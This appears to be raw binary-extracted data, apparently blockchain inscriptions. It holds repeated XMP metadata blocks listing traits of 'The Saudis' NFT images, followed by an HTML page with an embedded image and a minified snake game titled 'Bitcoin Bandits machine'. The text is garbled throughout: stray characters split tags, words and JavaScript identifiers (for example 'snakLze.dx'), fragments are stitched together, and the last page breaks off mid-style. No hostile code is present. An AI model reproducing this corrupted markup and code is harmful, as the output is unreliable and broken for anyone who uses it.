     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
:Value>Brown Shemagh &amp; Stylish Gold Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Small Shades</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:ExternalM
_URL>https://token.thesaudisnft.com/4837</metadata:External_URL>
   <metadata:Name>The Saudis #4837</metadata:Name>
  </metadata:Metadata>
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Light 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Messy</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Mustache</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
      <metadata:Value>Haram PoM
lice Cap</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Nerd Glasses</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>https://token.thesaudisnft.com/M
3675</metadata:External_URL>
   <metadata:Name>The Saudis #3675</metadata:Name>
  </metadata:Metadata>
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Dark 1</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Long Widow&#39;s Peak</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Normal Beard</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
data:Value>White Shemagh &amp; Stylish Gold Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Regular Shades</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>Shadowless Vape</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
metadata:External_URL>https://token.thesaudisnft.com/4860</metadata:External_URL>
   <metadata:Name>The Saudis #4860</metadata:Name>
  </metadata:Metadata>
<?xpacket end='r'?>"m
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Dark 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Bald</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Light Beard</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
      <metadata:Value>White SM
hemagh &amp; Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Regular Shades</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>https://token.thesauM
disnft.com/5006</metadata:External_URL>
   <metadata:Name>The Saudis #5006</metadata:Name>
  </metadata:Metadata>
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Light 1</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Bald</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Luxurious White Beard</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
lue>White Shemagh &amp; Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Stylish Nerd Glasses</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>Bubble Gum</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_UM
RL>https://token.thesaudisnft.com/4812</metadata:External_URL>
   <metadata:Name>The Saudis #4812</metadata:Name>
  </metadata:Metadata>
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Medium 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Long</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Messy White Beard</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
      <metadata:ValueM
>White Shemagh &amp; Stylish Gold Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>MAX BIDDING</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>Shadowless Cigarette</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
:External_URL>https://token.thesaudisnft.com/4508</metadata:External_URL>
   <metadata:Name>The Saudis #4508</metadata:Name>
  </metadata:Metadata>
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Dark 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Short Buzz Cut</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Shadow Beard &amp; Mustache</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
   <metadata:Value>Red Shemagh &amp; Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Big Pixel Shades</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>Shadowless Cigarette</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
metadata:External_URL>https://token.thesaudisnft.com/4266</metadata:External_URL>
   <metadata:Name>The Saudis #4266</metadata:Name>
  </metadata:Metadata>
<?xpacket end='r'?>#EpS
iTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.56'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:metadata='https://thesaudisnft.com/metadata/1.0/'>
  <metadata:Metadata rdf:parseType='Resource'>
   <metadata:Attributes>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Head</metadaM
      <metadata:Value>Medium 2</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Hair</metadata:Trait_Type>
      <metadata:Value>Bald</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Facial Hair</metadata:Trait_Type>
      <metadata:Value>Shadow Beard &amp; Mustache</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Headwear</metadata:Trait_Type>
data:Value>White Shemagh &amp; Agal</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Eyewear</metadata:Trait_Type>
      <metadata:Value>Big Shades</metadata:Value>
     <rdf:li rdf:parseType='Resource'>
      <metadata:Trait_Type>Mouthpiece</metadata:Trait_Type>
      <metadata:Value>None</metadata:Value>
   </metadata:Attributes>
   <metadata:Description>Max Bidding</metadata:Description>
   <metadata:External_URL>https:M
//token.thesaudisnft.com/4392</metadata:External_URL>
   <metadata:Name>The Saudis #4392</metadata:Name>
  </metadata:Metadata>
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function loop(){requestAnimationFrame(looM
p),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillRect(e.x,e.y,grid-1,grid-1),e.x===M
apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):39===e.which&&0===snake.dx?(snakLze.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
